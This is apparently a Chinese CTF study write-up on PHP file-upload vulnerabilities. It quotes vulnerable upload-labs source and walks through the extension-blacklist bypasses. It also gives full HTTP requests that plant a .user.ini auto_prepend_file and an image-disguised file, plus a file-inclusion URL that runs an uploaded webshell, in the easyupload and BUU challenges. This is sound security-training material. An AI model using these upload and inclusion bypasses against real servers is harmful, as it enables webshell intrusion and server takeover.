        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

Pass03

 pass3就让我眼前一黑,黑名单校验,上传了php后缀的文件,提示不能上传,只过滤了php后缀的文件,所以随便改一个可行的php后缀,这里我是上传.phtml,上传成功后访问不到,看了源码才知道…

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

改了文件名,一开始以为要用什么方法绕过,看了wp发现上传成功后前端会有图片地址回显,就是一个坏掉的图片,查看源代码,其src就是图片路径地址。直接访问,getshell成功!(当然这其实要设置过,在apache的httpd.conf中有如下配置代码:AddType application/x-httpd-php .php .phtml .phps .php5 .pht,这样才会被解析)

Pass04

 由于题目并没有给具体环境数据,导致我不知道这关想考什么,网上查了之后,发现是.htaccess文件上传,解析jpg文件,但是这是要设置Apache配置文件的,我设置了半天都没效果,暂时做不了了,跳过,具体题目可看buu上的:你传你马呢这题,就是利用.htaccess文件上传。

Pass05

 黑盒审计是真的难,纯纯出不了,给的hint也不太懂,网上看的wp,有两种绕过方法。

源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

1、没过滤.phP后缀,上传即可

2、上传1.php抓包后,改文件名:1.php. .,会有一个点被过滤,后端会传入1.php.,但存储时会自动略去最后的点(本地是在windows中搭建的服务)

个人觉得应该能用.user.ini绕过,因为后端程序真的不难,应该有很多方法可以突破。

弃坑了

 感觉有很多题目由于环境问题无法复现真实情况,没有很大的学习意义,还是去搜集几道题吧。

(发现buu上有upload-labs靶机,buu神!不过我还是不打算做了,等之后有心情再做吧)

例题(不断更新)

1、攻防世界:upload1

 简单的文件上传,很明显是前端js验证,而且在上传文件类型错误时无法发包,那么我们就用禁用js的思路。

我用的是firefox,在url栏中输入about:config后搜索javascript enable,改为false即可。

直接上传1.php就行

flag:cyberpeace{8216e17084316fa9072d62a4f3726b9b}

2、攻防世界:easyupload

 基础题,文件上传类型的题做的时候要有耐心,还是要一个一个试过去才行。

一开始做了很多测试,首先发现只有gif和png文件能够上传成功,抓包一个一个试过去。

试出有下面几个过滤点:

1、文件后缀不能是php(应该是把大小写,phtml这类全过滤了,总之我做fuzz的时候没有能过的后缀)
2、Content-type不能是application/octet-stream,可以是text/plain或image/gif或image/png(别的没试过)
3、文件头需要有图片文件头,这里我选的是gif:GIF89a
4、文件内容不能有php

一开始思路是上传.htaccess,用\换行绕过不能有php内容的情况,然后上传带有木马的gif文件,但是gif文件仍然不能被解析成php文件。继续尝试,发现在前端代码中有这一条:

<img src="uploads/index.php" class="round_icon" align="middle"  alt="">

并且我们上传的文件到的文件夹就是uploads,想起.user.ini文件上传的一个先决条件:含有.user.ini的文件夹下要有正常的php文件。因此试试上传.user.ini文件,包如下:

POST /index.php HTTP/1.1
Host: 61.147.171.105:53386
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------24060250142092067233788479856
Content-Length: 372
Origin: http://61.147.171.105:53386
Connection: close
Referer: http://61.147.171.105:53386/index.php
Upgrade-Insecure-Requests: 1

-----------------------------24060250142092067233788479856
Content-Disposition: form-data; name="fileUpload"; filename=".user.ini"
Content-Type: image/gif

GIF89a
auto_prepend_file=1.gif
-----------------------------24060250142092067233788479856
Content-Disposition: form-data; name="upload"

提交
-----------------------------24060250142092067233788479856--

在这里注意修改上传文件的Content-Type,只要是能上传的就行,这个对后端解析应该没有影响,接着我们上传 1.gif :

POST /index.php HTTP/1.1
Host: 61.147.171.105:53386
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------83647928624379601823415785856
Content-Length: 367
Origin: http://61.147.171.105:53386
Connection: close
Referer: http://61.147.171.105:53386/index.php
Upgrade-Insecure-Requests: 1

-----------------------------83647928624379601823415785856
Content-Disposition: form-data; name="fileUpload"; filename="1.gif"
Content-Type: text/plain

GIF89a

-----------------------------83647928624379601823415785856
Content-Disposition: form-data; name="upload"

提交
-----------------------------83647928624379601823415785856--

由于.user.ini有个特性:会被动态加载,因此我们就可以直接访问/uploads/index.php,发现1.gif已经被包含进来了,蚁剑直接连接,flag在根目录下。

flag:cyberpeace{93b75be06d39fd5fe532d36e602bcfc8}

3、buu:BUU UPLOAD COURSE 1

 文件上传和文件包含漏洞的结合体。

 一开始以为是图片二次渲染,不管上传什么文件,都会变成jpg后缀的文件,后来验证了一下发现不是,发现有个文件包含:/index.php?file=upload.php,试了一下包含其他文件,发现都不行,纯纯没想法了。

 看了wp,原来就是上传木马后,把jpg文件包含就行…因为之前验证发现上传的文件除了文件名以外不会发生任何改变,因此文件包含之后就可以直接有后门。

payload:

/index.php?file=uploads/638493f180550.jpg   # 后面的就是上传的php木马文件

flag:flag{e52b3267-adf2-488c-b9e1-ef5dc7e72cc0}

参考文章

好文: https://www.cnblogs.com/sherlson/articles/15622018.html

https://lazzzaro.github.io/2020/05/06/web-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/

https://www.anquanke.com/post/id/183046

http://www.bmth666.cn/bmth_blog/2020/10/27/CTF%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%EF%BC%8C%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB

https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

https://xz.aliyun.com/t/2657

你可能感兴趣的:(php,开发语言,前端)